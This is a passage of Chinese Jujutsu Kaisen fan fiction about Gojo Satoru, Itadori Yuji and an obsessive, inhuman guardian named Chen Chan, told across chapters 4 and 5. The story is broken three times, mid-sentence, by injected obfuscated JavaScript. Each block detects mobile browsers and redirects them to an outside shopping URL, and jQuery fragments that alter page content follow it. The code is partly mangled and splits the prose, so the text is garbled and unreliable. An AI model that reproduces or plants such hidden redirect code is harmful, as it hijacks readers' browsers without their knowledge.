“嗯嗯,那我现在就不算讨厌你。况且我们还有个束缚呢。”五条悟说,“但未来谁也说不准,我只能向你保证:我绝不会讨厌追随我的人——啊,沿着我的道路超越我也可以,未来毕竟是年轻人的。话说你多大?我今年十八岁哦。”
陈潺沉默了,眼里是显而易见的茫然。他原本处在一个情绪积压动荡的节点,结果五条悟突然让他做算数题。就像一个站在即将坍塌的悬崖边的人,腰上突然缠了一根绳索,绳子那端的人却唱着生日快乐。
“四百多岁?”他迟疑地说。
成年之后,年龄对于长生种便是最不重要的事。而陈潺并不需要像其他物种那样计算自己的成年日期,怪物步入成年期时,周身缭绕的紫色雾气会加深,直至漆黑。按照正常的生长周期,他的灵魂会逐渐迷失在无边际的黑夜中,成为彻头彻尾的「天灾」——成为一种概念,而不是一个人。
他完全不知道自己活了多久,计算时间毫无意义。
“……也可能是四千多岁。”
“比肩人类文明啊,好厉害,是长生种呢!”五条悟欢快地说,“那你有没有跟宿傩交过手?平安时期的宿傩。”
“没有。”他对没有五条悟的时代毫无兴趣。
“但我跟宿傩打过一场哦,现代的宿傩。”
“……”陈潺抿了抿唇,他对两面宿傩没什么话好说——他对五条悟之外的任何生物都没有想法,但五条悟每根发丝都在释放「快来夸我!」的信号,陈潺也无法置之不理。
最终,执行官僵硬地鼓掌:“嗯,非常棒。”
紫色眼睛里的雾气经由这么一打岔,消散了大半。五条悟满意地在心里给自己颁奖:五条老师今天又神圣地救赎了咒术师的心灵,把美好带给大家!白发术师笑了一下,向陈潺伸出手。
“还有呢,就只有这些吗?”他抬起下巴,朝吧唧的方向点了一下,“课间时间结束,让我们回到正事上来。把它当作你的投名状吧——追随我的、绝对不会被我讨厌的投名状。”
虎杖悠仁也在总监部。
不过与老头子们所在的会议室,隔着很远的距离。老人们胆子很小的,肯定是把诅咒之王放逐在远远的、偏僻的角落里。
车停在庭院外,古老的木材建筑上挂着许多条镌刻符文的绳结,缠绕的痕迹还很新,似乎是连夜加筑的。陈潺扫了一眼,判断其不超过10小时。
他不太喜欢这个地方。站在这里向上看,连天空都被绳结圈成了镇压诅咒的监牢。
但陈潺还是仔细记住这里的每一寸砖木,毕竟是漫画中没提到的场景,记住总是好的,万一哪天用得着呢。
陈潺下意识搓动手指,没在衣兜里摸到熟悉的触感,一时间有些恍惚,直到阳光骤然消失,才反应过来,原来他已经跟着五条悟步入室内。室内更阴森,光线昏黄,墙壁也昏黄,各式各样的符纸阵法被杂乱无章地垒在这个小空间里,陈潺不觉得它们能对镇压邪祟有什么作用,完全是种昏聩的心理安慰吧。
他即将监护的孩子被捆在房间的正中央,一把简陋的椅子就是对方的刑场——如果来的人不是五条悟,那孩子的血就会溅在墙上,大约是这个位置——执行官用视线在墙上圈出一小块。
陈潺并不清楚咒术界如何执行死刑,但若是他预想中的割喉,差不多能飙到这里。
“坐吗?”五条悟问他,“还有一把椅子哦。”
陈潺摇头,他并不需要休息。五条悟也不再谦让他,把椅子拽到沉睡着的——或者说昏迷着的粉发少年面前,反着坐下,下巴磕在椅背上。
没有人提出要把少年喊醒,白发术师前后摇晃着,有一搭没一搭地抱怨。
“为什么这里只有两把椅子呢?明明占地空间很大啊。老橘子把装修经费都花到哪里去了啊——连坐的地方都没有。”
因为这里原本只有你们两个人。
陈潺在心底回答,所以世界只准备了两把椅子。
“你很介意我只能站着吗?”他只问他关心的。
“当然,我是一个好人呢。”白发术
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288082|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师伸出手,十指修长匀称、骨节分明,青筋隐藏在白皙皮肤之下,不用力时看不出来,“再说……”
陈潺描摹着每一寸肌肤纹路。鼻腔里溢出一声:“嗯?”
“再说……你看起来很弱啊。病恹恹的。胆量也一会大一会小的。”五条悟勾手,示意陈潺走近一些,“怎么这副表情啦,我看起来很像不关心朋友的人?”
哦,朋友。
执行官在心里把这个词咀嚼数遍。是的,他们已经是朋友了。
“并不,你很好。我只是很少被人这么关心,有些意外。”
他来到五条悟身前,不偏不倚,正好挡住虎杖悠仁。
五条悟一看他的表情,就知道他应该又选择性地只听进去想听的话。白发术师拉住他的衣袖,长而宽的袖口把两个人的指尖一并遮住。
“你还是胆子小的时候比较可爱。”五条悟仰起脸,“这点有没有人说过?”
紫瞳中又出现他熟悉的颤栗,但不是恐惧的情绪,而是出于某种自责。虽然五条悟还没摸清楚对方的行动原理,但利用已经发现的规律还是手到擒来。
他松开陈潺,抬手点了点那枚别在对方心口处的、印着他的脸的圆状物——应该是叫吧唧?随便吧,名字不重要。
总之,他不轻不重地按着它,并隔着它按住陈潺的心脏。
“不要总试探别人的心意。”五条老师教导道,“你用真实对我,我就不会虚伪地对你。现在,你需要走开一点,我们的后辈要醒了。”
陈潺眨了下眼睛,有种科幻电影里常客串的AI感,五条悟很难描绘清楚这种感觉,总之,黑发男人接收了这个讯息,嘴角弯了一下,倒映着自己的紫瞳里是毫不掩饰的赞许色彩。
……这里有值得夸奖的东西?五条悟不觉得对方是单纯想夸他帅气又强大,虽然有偷偷收藏自己的前科。
“好。听你的。”
——这便是虎杖悠仁恢复意识时,听见的第一句话。声线与发音的韵律都很独特,是海豚在说话吗?或者鲸鱼?
但过于低沉了,虎杖悠仁迷迷糊糊地想,没有水族馆里的海豚音调高,比自己还哑一些。
所以到底是什么东西在说话?
抱着这样的疑问,他睁开眼睛。疼痛、酸胀与麻木紧随其后,他下意识抬手想触碰隐隐作痛的地方,手腕却传来一股巨大的拉力。
他这才真正意义上的清醒过来。巨大的、畸形的骨与刀插在地上,固定着绳结,将他双手反背,犯人似的被锁在原处。
“早。”这次是熟悉的声音,虎杖悠仁有印象,“快醒过来啦,我们昨天见过的。”
昨天、咒术……
“五条悟,同时也是咒术高专一年级的负责人。”
戴着眼罩的白发男人笑吟吟的,即使看不清对方的眼睛,虎杖也觉得对方正在注视自己。
伏黑、前辈……伏黑!
“我是来向你传递一个悲哀的消息的,虎杖悠仁。”白发男人垂下双臂,随惯性摇摆着,“你要死了。死刑,秘密执行。”
“……”
陈潺站在房间的角落里,一个不被光线驻足的地方。
亲眼见证故事的开端,跟上帝视角翻阅漫画是很不一样的。陈潺说不出此刻究竟是什么心情,他对情绪感知向来不敏锐。
他合上眼皮,停止呼吸,整个人恍如被拉伸成一道细长鬼影,倾听着齿轮转动的咔嚓、咔嚓、咔嚓……虎杖悠仁的苏醒提前了,少一句询问环境的台词,多出两句对「陈先生」的介绍,以及“这里居然还有第三个人吗!?”
“当然有啊。”五条悟双手轻拍,“锵锵——他在那里罚站呢。快过来啦。”
房间内突兀地出现第三道呼吸声,虎杖悠仁不会怀疑自己的五感,但当那个影子真的动起来、并向自己走近时,他还是瞪大了眼睛,并不为对方奇异的紫眼睛,而是他衣襟上挂着的、印着白发眼罩男的小圆牌。
白发眼罩男本人还在散漫地晃着椅子。
“初次见面。”独特的、海豚一样的韵律再次响起,“我是你的新监护人,但我并不负责让你「活下来」。让你现在还能够说话的,有且只有五条悟。”
五条悟诧异地“诶”了一声,他上一秒还介绍陈潺为“跟他合力将虎杖的死刑变成无期”,因此具备监护权的人。
昏暗的环境里,紫色总会呈现出一种往外流淌的趋势。现在它们被集中在五条悟身上。
陈潺注视着对方的背影——他仍站在五条悟身后,话却对虎杖说:“我只是陪五条做他想做的事。以及,你爷爷的骨灰已经收殓好了,他被安葬在东京——这个才是我自己的主意,你觉得不妥可以说,我会给你补偿。”
4. 家校联谊(4)
“啊,那多谢了,陈先生——这么称呼没错吧?”
虎杖悠仁没表现出任何麻烦的、孩子特有的哀戚,这让陈潺微不可查地松了口气。他点点头,这一肯定也让少年放松下来:“爷爷的事,麻烦您了。说起来我也很苦恼啊,虽然都提前了解过该怎么处理,但毕竟是第一次,有您帮助真是太好了。”
陈潺终于转向他。
紫瞳一寸一寸从五条悟身上剥离,剩给虎杖的唯余寒凉——请放心,他没有任何恶意,这是情绪淡漠之人常有的表现。因为他很快又转了回去,好像什么事都没发生过。
“你有看见吗?”监护人仍是那种毫无礼貌的做派:看着五条悟,话却是对别人说。他指了指天花板,也不知道是在示意谁。
虎杖悠仁跟着他向上看。除了簌簌掉灰的天花板之外,什么都没有。他正开口想要回答,却被成年人的声音截断。
五条悟若有所思地抵着下巴。
“有。很稀薄的诅咒气息?”
“哈哈,果然很厉害啊。”紫瞳里突然又爆发出某种绚烂的、几乎晃到旁观者的情绪,陈潺毫不保留地赞美道,“你本人、你的眼睛……你的一切,都比我想象得要厉害很多。”
“你想过我很多遍?”
“嗯,每时每刻。”
虎杖悠仁:“……”
两个身量极高的男人就在眼前说话,但他什么也听不见。他甚至连他们的唇语都读不清楚,每当想辨认口型时,视野就会模糊。
可是、可是,他上一秒还能听见啊?
虎杖悠仁又看向天花板,那里还是什么都没有。他不死心地又瞪大眼睛,还是原样,只有椅子会随着他的动作而吱呀吱呀地响。但这也是奇怪的地方:如果现在动一下,他能听见绳结在拉扯、符纸被掀起,木头不堪重负,可他听不见仅有两步之遥的人们在说话——他们绝不在窃窃私语。从白发男人的神情动作就可见一斑。
……深呼吸、呼吸,呼吸,别忘记呼吸。
过去了多久?不知道。
呼吸几次?数不清楚。
时间的概念也不再清晰了,这也是「诅咒」吗?
谁能解决它、谁能救救他?
虎杖想起伏黑,黑发少年不信任所有人,带着两只狗被打得半残还要赶他走——他不够强,所以他吃下了宿傩的手指;宿傩也没有那么强,才会被五条悟坐在身上。
虽然这个死刑很无妄之灾,但他确实是毫无知觉地被绑在这里,也挣脱不开——跟死亡是无法讲道理的。虎杖悠仁很清楚这一点,但五条悟就这样在不讲道理的死亡面前,随意又轻飘飘地宣布:你能活着啦。
答案呼之欲出。
五条悟能解决它、五条悟能拯救他。五条悟甚至已经救过他一次,不然他早就莫名其妙地被处死在这个房间里!
椅子更用力地摇晃起来,他惹出的动静终于引起了五条悟的注意力。白发术师走向他,有些抱歉地发出“嘶”的一声,麻利地把绳结解开。
“不好意思,今天我有些舒服得过头了,做事都年轻不少。”他脸上的歉意和说出来的话完全是两种风格,腔调轻快得像刚从冰箱里取出的薄荷饮料,“试着活动一下手腕吧?应该没有绑出问题。”
但粉发少年似乎仍处在不自觉的恐惧里。绳子被解开了,还坐在原位一动不动,只抓住五条悟的袖口不放。五条悟又说了几句安抚的话,但对方反而攥得更紧——这不是一句也没听进去吗,被死刑吓傻了?
也是,这孩子比当年的忧太还小吧。
戴眼罩的男人今天格外有距离感,这是人类处于某种严峻状态下的天性——会减小玩闹的幅度与频率,精力集中于潜在的危险上。但「危险」在哪里,天上吗?或许是,他的监护人还在盯着天花板瞧呢;或许不是,因为五条悟貌似更关心他的状况,嘴唇也动个不停,是在说话吗?但他一个字也听不见啊。
陈潺仍在检查天花板,诅咒的气息已经销声匿迹。五条悟的声音适时响起:“不用担心,我已经在追踪它了。”
其实没有担心,他知道那是什么。但五条悟这么说了,陈潺还是蹙眉,很配合地摆出恰到好处的忧虑——这绝不算欺骗。这是他作为「咒术师」应该有的神色。执行官正说服着自己,回望却发现五条悟的衣袖正被不相干的人拽着,脸色真心实意地难看起来。
白发术师用空闲的手向外扯了扯眼罩:“毕竟我也很好奇,究竟是什么家伙敢来总监部窥伺我们的行踪,还把这孩子吓成这样。”
紫色眼珠迟缓地转动,落在虎杖悠仁身上。确实吓得不轻,好像阴差阳错地起到了类似少年院的效果,令主角提前意识到自己的弱小了。
“——那孩子怕的是我。”
陈潺恶作剧似的、不甚愉快地扯了下嘴角——他看见五条悟困惑几秒,刚才还开开合合的嘴唇都忘记合拢,透过双唇间的缝隙,是洁白整齐的牙齿和一截舌头……鲜艳的颜色。
“怕你?”
“嗯,因为我不太高兴吧。”陈潺说,“明明你做得最多,明明我也说过是你的意愿、你在出力,却还是要感谢我。但我顶多算你的附庸——为什么不谢谢你?我不明白,但我不喜欢。”
执行官甚至有点越说越烦躁的趋势,他覆上吧唧,指尖快速地点着。
“……不要管他,他已经不是小孩子了。”紫瞳又隐隐有发黑的趋势,“你应该管我,毕竟我更危险吧?”
五条悟扫了一眼那枚别在对方心口的、此刻被攥得皱皱巴巴的、印着自己照片的圆牌,罕见地无言以对。自称附庸的、藏着自己照片用来稳定精神的、求着自己立束缚的……这就是危险人士吗?
“如果你说的是那孩子眼睛和耳朵中弥漫的咒力空白,我早就看见了。”他最终只说,“虽然我不知道效果,但束缚还在——你不会害他,我相信你。”
到底是更相信束缚还是更相信他?陈潺并不打算刨根问底,毕竟束缚也是他立下的。执行官又站到五条悟身侧,在二人的目光里——神情自若地把高专制服的一角从少年手里解救出来,攥在自己手里。
“可以吗?”他扫过他们,得到五条悟首肯之后,视线才转到虎杖脸上。这还是虎杖悠仁第一次跟监护人对视,“你的意见呢?”
把你的救世主、你的行刑人、你的恩人、你未来的老师……交给我,有意见吗?
“没有!”
当那个奇异的、深海生物一样的声音再次灌入耳中时,虎杖悠仁几乎有流泪的冲动。他并不在意陈潺从他手上抢走五条悟的衣角,只是有些尴尬地摸了摸鼻子。
这份尴尬很好地冲淡了他的恐惧。间隔一个晚上之后,他终于清醒地意识到自己在面对多么可怕的新世界。
“谢谢您!”粉发少年对陈潺点了下头,忙不迭转向五条悟,“更谢谢您救我,五条先生——可以这样称呼您吗?陈先生同意吗?”
五条悟:?
“没问题。”白发术师被感谢得正是高兴的时候——说来惭愧,虽然他一直在祓除诅咒,但被感谢的次数却很少呢,“不过跟陈先生有什么关系?”
“哦哦!因为陈先生挂着您的吧唧啊!”而且还不太喜欢我接触您,虎杖悠仁默默把后半句话咽下去,“应当是占有欲很旺盛的那类恋人吧?问一下会显得我有礼貌,因为漫画书里都这么说,什么恋人被忽视会非常不高兴之类的——那还不如我提前问完,不然开始称呼「五条先生」之后,再被纠正也很丢脸啊。”
五条悟:……
五条悟:“打住。”
他把已经被两个人轮流拉拽,扯得皱皱巴巴的衣服抽出来,郑重解释道:“我们只是朋友。”
孰不知顶着朋友身份的陈先生已经在他背后眯起眼睛,即使被剥夺了一小片衣角,也不影响他目前的好心情,甚至连带着对虎杖悠仁的满意度蹭蹭上涨。
待会请这孩子吃牛排吧。他愉快地想。
虽说后事都已经被处理好,但去墓园拜访一趟还是必须的。陈潺理解,即使他不太赞成。
从总监部跑到仙台、再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288083|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从仙台回东京,多么麻烦啊,光赶路就要消耗很多时间。如果这些时间都能用来休息,五条悟会轻松很多——他当然可以一直让五条悟神清气爽,执行官有的是钱。但他更希望五条悟能神清气爽地休息。
还记得反转术式吗?它开发出来本是用于保护自己的,五条悟却把它用成了加班神器。陈潺一想到对方可能频繁让自己花钱以帮助他加班,就面色不善地把吧唧解下来——当然是询问过五条悟是否允许的,为此还迎来后者一个表达不解的气音——拿在手里盘。
虎杖悠仁坐在副驾驶,看不见这一幕。但五条悟坐在他身边,六眼忠实地将陈潺的每一个动向传递给他,最强泄气地倒在靠背上。他当然知道陈潺对他的情感不对劲——这是长眼睛的人都能看出来的吧?
但那绝对不是爱,他不认为那会是爱。
——他们是第一次见面,且绝不可能一见钟情。五条悟不会忘记自己踏进总监部时,对方那双玻璃珠似的紫色眼睛。
诧异、惊艳、欣喜……任何符合一见钟情的要素,里面都没有。陈潺当时只是偏过头,原本笔直如木雕石塑的身姿,因为他的到来而做出些许改变,像电影中的鬼娃娃,为主角的到来而开始眨眼——这是他戒备对方的主要原因。
当然,现在没有了。
当你见到一个人泫然欲泣的时候,你就很难认为对方是危险的。
因为眼泪是人能表现出来的,最脆弱的一面。
所以是什么感情呢?
五条悟思索了一会,崇拜?憧憬?都不太像。他想起那枚吧唧落在手心时的触感:通体生温,柔软细腻,用力掐下去的时候甚至感觉内部有回弹,但不是橡胶。它没有那么干涩,反而汁水充沛。
“这个东西……”
他将吧唧从陈潺手里拈出来,后者很明显地僵直了一瞬,反手握住他的指尖。见紫色又有变黑的趋势,五条便任由他牵着自己——反正一会儿会松开。
果不其然,他捏了一会五条悟的指腹,就如梦初醒似的松手道歉。
术师摆摆手,表示这无所谓。他有无下限,如果他不愿意,陈潺根本碰不到他,「咒力空白」跟「术式无效」还是有区别的。
他续上刚才的话:“——是什么材料做的?”
陈潺看向前座,粉发少年捂住耳朵,装做什么都没听见,只一味看车窗外的街景。司机伊地知则压根不关心他们在说什么。
五条悟知道他在顾虑什么,还是故意问:“不想公开吗?”
他攀附在对方的耳边,对方也如他所料,全身都红起来。
“如果你想让他们知道。”红色的陈先生说,“可以。”
“我肯定是无所谓的吧,毕竟我才是被侵犯肖像权的一方。我在问你的意见,侵权先生。”
陈潺缩在衣领里,艰难地摇头。执行官常穿高领长款大衣,很厚重,冬天穿一定很暖和。
但现在是春天。五条悟想,他不能欺负怕冷的咒术师。
“那就继续用吧,屏蔽听觉的小把戏。”
于是「空白」又覆盖在前座二人的耳朵里,让他们听不到后座的交谈——就跟陈潺自报家门时、在行刑室交流诅咒时一样。
五条悟突然想起他们抵达行刑室时,伊地知撞见陈潺衣服前吧唧时的好笑表情,一股天要塌下来的模样——真有意思!可惜没有拍下来。
但伊地知是怎么想的呢?待会问问吧。
千万不要像虎杖同学一样,以为他们是那种亲密关系啊。他可是好老师、优秀的成年人,才不会随随便便跟别人谈情说爱。
再说了,他很难爱上谁的啊。
“普通的制作材料、我的血和半颗心脏。”
怕冷的咒术师轻声说。听到心脏也成为添加物时,五条悟陡然觉得手上的小物件无比滚烫,连忙把它还给对方——陈潺双手接过,仔细地、重新别在心口。
OK,是新情报。
白发术师别开眼睛,怕冷的咒术师会反转术式,他刚才不应该放水的。
5. 家校联谊(5)
“其实它可以被放回去。”
五条悟把手放在自己的后发上,被削短的发茬刺得他掌心发痒。他决定不再提及心脏本身,很多事情无需寻根究底。从陈潺平日的小动作就能看出,他确实如他所说一般依赖那枚吧唧,由此可见,那枚吧唧跟着他的时间绝不会短。
鲜血、心脏......虽然都不是良善的原料,但这么久的时间,自己都没察觉到不适,那就是没关系——应该、应该没关系。
真的没关系吗?五条悟想起徘徊在总监部中的诅咒。陈潺当时比他先发现,这是否代表对方在某些领域中超过他——这才是他察觉不到异样的缘故?
“我的意思是,放回它原来待的地方。”白发术师补充道,“毕竟是心脏,藏起来会稳妥些。”
再试探一次、最后一次。他不能一直沉浸在怀疑与猜忌里,这会浪费很多精力到无意义的、名为人性的角落里,会让他分心、走神、误判......真的会造成这么严重的影响吗?
他思索着,等待陈潺的回答。
“但是这样戴着,可以让见到我的术师一眼就知道我是五条(改革)派。”对方语速平缓,如同在叙述一件理所当然的事,“在人心中,你的立场会自动变成我的;那些反对你的,就不会给我与他们接触的机会——你会惋惜这种情报损失吗?那我把它摘下来。”
五条悟没辙地笑了一声。
他知道结果了,真会有那么严重。但误判的方向是完全反过来的,他的心脏先于理智对陈潺狂跳,不为任何暧昧的、缠绵的情愫,而是一种没来由的愿望:他想信任对方。
他从陈潺身上见到了一种可能性,一种能跟他并肩的、能够理解他一些的可能性。
啊,不是说对方的实力有多么强大,而是......提前声明,他可不是唯实力论的莽夫。
而是——对方似乎想要理解他。
五条悟想要扶持他的愿望。
“怎么可能会惋惜啦,那些迂腐到要掉渣的人心。那些小把戏影响不到我的,我可是最强。”
“当然,你会一直是最强。”
五条悟收到一个近乎谶言的回答,黑布下的眼睛弯了弯,没再说话。
虽然身体在咒言的作用下很舒服,但灵魂中的疲惫始终无法消除。
他想,或许他需要睡一会了。
“有事叫醒我。”他最终没头没尾地说,“还有...记得把他们的听觉还回去。”
这会是试探之后的第一次合作。
——我即将陷入最无力、最不设防、最脆弱的状态,在你的身边。
——这是我给你的愿望的回应。
——那么你是选择浪费它、利用它,还是帮我保护好我想保护的人们,以及我自己?
“借我肩膀靠一下……你真需要多吃点饭。”
五条悟难得找到这样契合的身高,靠着不会脖颈酸痛,却又不必刻意迁就。可没多少脂肪的肩骨又实在硌得他疼痛。陈潺原本没什么表情的脸上顿时出现一丝苦恼,他轻声道歉。五条悟都数不清楚今天听到多少次「抱歉」了,陈潺是被「抱歉」造出来的咒灵吗?
“我没办法立刻变胖。”陈潺低眉顺眼,很惭愧地请求五条悟包容他的无能,“先封闭你的五感,好吗?至少这样不会疼。”
“安——静——”
白发术师向上勾起眼罩,一只苍蓝色的、熠熠生辉的眼睛就那么突兀地撞进怪物世界中。纤细浓密的睫毛微微上翘,在温暖湿润的空气里颤动、翻飞。执行官在一瞬间里想起许多东西:大雪、冰川、极地......如果蝴蝶能生存在冬天,能在雾凇下停驻,就是这只眼睛的样子吧?
它转向陈潺,不对,它本来就是为了见到陈潺而睁开。
被刻意拖长的语调里余怒未消,苍天之瞳里却是星星点点的笑意。
“一切听你安排就好啦,陈潺。”他终于抛下尊称,如对方所愿那样直呼姓名,“我想信任你,你不会辜负我的,对吗?”
其实暂时压制一下想法也不难。
其实多试探一两天也不会影响什么。
其实只要不理会陈潺,那些猜忌的可能性都可以避免。
但是——为什么偏偏选择在今天、现在,抛出这根藏着真心的橄榄枝?
五条悟叩问自己的灵魂。
——因为这个人,真的很在乎我啊。
他将对方自责到难以开口的表情收入眼底,去除黑布的遮挡之后,连紫瞳里隐隐泛起的水光都能看得一清二楚。陈潺是有私心的,任何人都有私心,没有它的人才不正常,五条悟非常理解这点。如果对方摆出一副不需要任何回报的姿态,他反倒会觉得麻烦,因为这种人索取的往往是最珍贵的、无法明码标价的宝物。
但陈先生跳出这两类人之外了,就像他不隶属于任何术师派系一样。明明是人形,却游离在人的规则之外——哪有人会因为私心而自责的呢?这可是一份足以用鲜血与心脏制作的私欲,这样邪门的材料,倘若不祸及自己,那制作人势必要付出相当惨重的代价去承担它。
而自己的三言两语却有让私心改变的趋势——趋势是正好的。毫不改变就说明此人无可救药,彻底改变则说明对方早有预谋,反倒要戒备。
尝试一次吧,就算被骗了也没关系,他总能解决的。
就算陈潺在某些领域上很有研究也没关系,他仍是当世的最强。
“没有反驳——那就说定啦!大家暂时托付给你了。”
“……”
“暂时说不出话也没关系,同意就点点头。”
“......”
“那么,晚安。”
我想信任你。
这五个字对于执行官而言,不亚于在他体内突然引爆一颗巨型炸弹。炸毁了他所有的筹谋、所有的心思,只剩下本能在叫嚣,而情感给他凿出一个名为五条悟的缺口,让他的本能将五条悟簇拥在中心。
他说,他想信任我。
怪物再次在心底重复。他不敢以五条悟的口吻直接默念“我想信任你”,只能小偷似的躲在心里,用第三人称反复咀嚼这句话。
像一条包藏祸心的狗,被猝不及防地赏了一根肉骨头。而它内心中所有见不得人的龌龊,都是为了从主人手上获得那根骨头。
五条悟猜得没错,在此之前,陈潺会脸红全都是因为自责。
毕竟怪物不会因为人类的美貌而动容,他们本质上是两个物种。即使五条悟的美丽是客观的,在陈潺眼里,也并不是能见到就面红心跳的长相——人类会对星云、海洋与钻石脸颊发烫吗?是一个道理。陈潺刚诞生时甚至患有严重的脸盲症,人类的美丑在他眼里毫无意义,令他病症改善的契机是五条悟。
——我想记住他,我想在任何情况下都能认出他。
五条悟是怪物自主分辨出来的第一个人。陈潺通过纸页长年累月地触碰他、幻想他、描摹他,将他的脸刻印在灵魂中,直至五条悟的脸能够被他默写出来,直至他能认出各种画风的五条悟。
——这就是「想法」的威力。它能越过常理,制造奇迹。
而五条悟说,想要信任他。
——他是否能将自己全部的私心割下、是否能给对方带来奇迹?
陈潺抬手,有些认命地用手腕挡住眼睛。
由于五感被封锁,五条悟睡得前所未有的沉,就连车子停下也没有令他睁开眼睛。
伊地知本想跟白发术师汇报一下行程,透过后视镜看见对方正靠在陈先生肩上睡着时,顿时偃旗息鼓。虎杖悠仁则是按照原本漫画中的情节,先去医院看看学姐,再去墓园跟爷爷道别,只是这次不再有人陪同。
因为陈潺完全不打算负起监护人的责任。
十五岁了还需要陪?他一手揽着五条悟的肩——这是为了稳定姿势,不让后者滑下来,一手示意粉发少年自己下车玩去。
“用最快的速度做完你想做的事。”他草草吩咐了一句。
虎杖悠仁还算听话,用三秒五十米的速度奔向医院。陈潺计算了一下原作所用的时间——收殓骨灰跟拜访墓园能相互抵消,医院探病顶多不超过十分钟……剩下的桥段则是五条悟和虎杖的互动。
但五条悟现在睡着了,互动时间都能被节省下来。如果路上不出意外,他们陪虎杖入学咒术高专之后,还能定定心心地吃顿晚餐……五条悟让他长胖一点,今晚就吃炸物吧。
陈潺监守自盗地捻着一绺白色发丝,心情愉悦得近乎疼痛。这是怪物从未有过的体验——太超过了,必须用肉//体的痛来压制灵魂的躁动。他垂眼扫过手腕,伤口已经愈合,但流出的血仍有部分残留在皮肤上。
所幸他也高兴不了太久,因为这里缺少一个人。
本着不浪费的原则,他一边思考走丢角色的去向、一边捏了几块糖果制式的块状物出来。
按照原剧情,伏黑会在虎杖收殓骨灰时出场……头上缠着纱布,应该也是在医院里休息了一晚上,再被五条悟接走。但这里的情节,五条悟一直是跟着虎杖的,那么能接送伏黑惠的就只有——
陈潺盯上那位趴在方向盘上、脸上写满「明天是世界末日吗?」的辅助监督。后者莫名感到脊背发凉,正闭着眼睛默念着驱邪的咒语——有没有用不知道,但绝对能安慰人心。
“禅院家的小子呢?”陈潺状似不经意地开口,“我记得回收咒物的任务者原本是他。”
伊地知洁高抬头,他们隔着后视镜对望。
“啊…您是说伏黑吗?”
这是种委婉的提醒。
陈潺觉得自己或许低估了五条悟重视年轻人的程度,连伊地知也会以这种方式维护伏黑惠吗?造成这种现象的无非两种原因:要么是五条悟平日里的言传身教,潜移默化地影响了这位不被原作着墨太多的小角色;要么是五条悟嘱咐过,要维护这些年轻一辈的术师。所以就连跟在他身边的辅助监督,都会委婉地提出意见。
无论是哪种情况,背后都有白发术师的影子。他自然会遵循五条悟的意思,尤其伊地知已经给了陈潺认识「伏黑」这个姓氏的理由。
“是的,伏黑。虎杖醒的时候也提过这个名字,原来就是他啊。”
陈潺一副恍然大悟的做派,但语气和表情都收拢在很小的范围内——这能保证身体稳定,令靠在他身上睡觉的人不被影响。其实这对已经封闭五感的人是多此一举,不过执行官喜欢,他非常享受能照顾到五条悟、带给五条悟好处的感觉。而落在伊地知眼里,就成了最强在工作之余、他的视线范围之外,跟一个外国咒术师不清不楚。
——如果是恋人,肯定会让自己照顾对方啊。伊地知理所当然地想。
成年人之间的交谈不需要说得太明白。
先模糊一部分,再避开一部分,在彼此都认为不痛不痒的话里搜寻对方的破绽。陈潺不算精通此道,好在他也不需要太多信息。
他只是想及时用餐、变得更符合五条悟的期待,不然伏黑惠死在他面前都跟他没关系——前提是五条悟不在场。如果五条悟在,那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288084|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他会保护所有对方想要拯救的人,用以邀功、用以报答五条悟「想要给予」的信任。
哪怕陈潺打心底里认为,有些人是不值得五条悟去拯救的。
伊地知听懂了陈先生的言外之意:虎杖那孩子很关心伏黑,他作为监护人才问一问,绝对不包含其他探究的意思。
“伏黑同学本来也在总监部,现在回到高专了,经过专业术师的疗愈,现在很安全。”伊地知很乐意成全大人的慈父之心——算是养父吗,陈先生和虎杖同学……应该算吧?
伊地知通过后视镜打量了一下陈潺的脸,意外的年轻,跟周身气质完全不同。
难道是和五条先生一个类型,天生丽质到看不出实际年龄?五条先生应该还没有道德败坏到跟未成年或刚成年不久的后辈建立这种......关系吧?应该没有,他也不敢确定。
“容我冒昧地问一下,您现今多大年纪?”
陈潺皱眉,怎么一个个的都喜欢问这种问题?他哪里知道自己多大,没死不就得了。
“30。”
出于某种不能被外人所知的心思,他最终选了一个比五条悟大两岁的年纪。
前座传来一声沉闷的、肉块砸在硬物上的动静。辅助监督一脸死相地倒在方向盘上,怨气浓郁得能当场形成咒灵。这把匆匆赶回来的虎杖悠仁吓了一跳,但迫于陈潺的压力,他只用眼神询问道:“您还好吗?”
“我还好。”伊地知用发动车子的实际行动回答道,“还能继续上班。”
直到车子行驶到东京地界,五条悟才悠悠转醒。
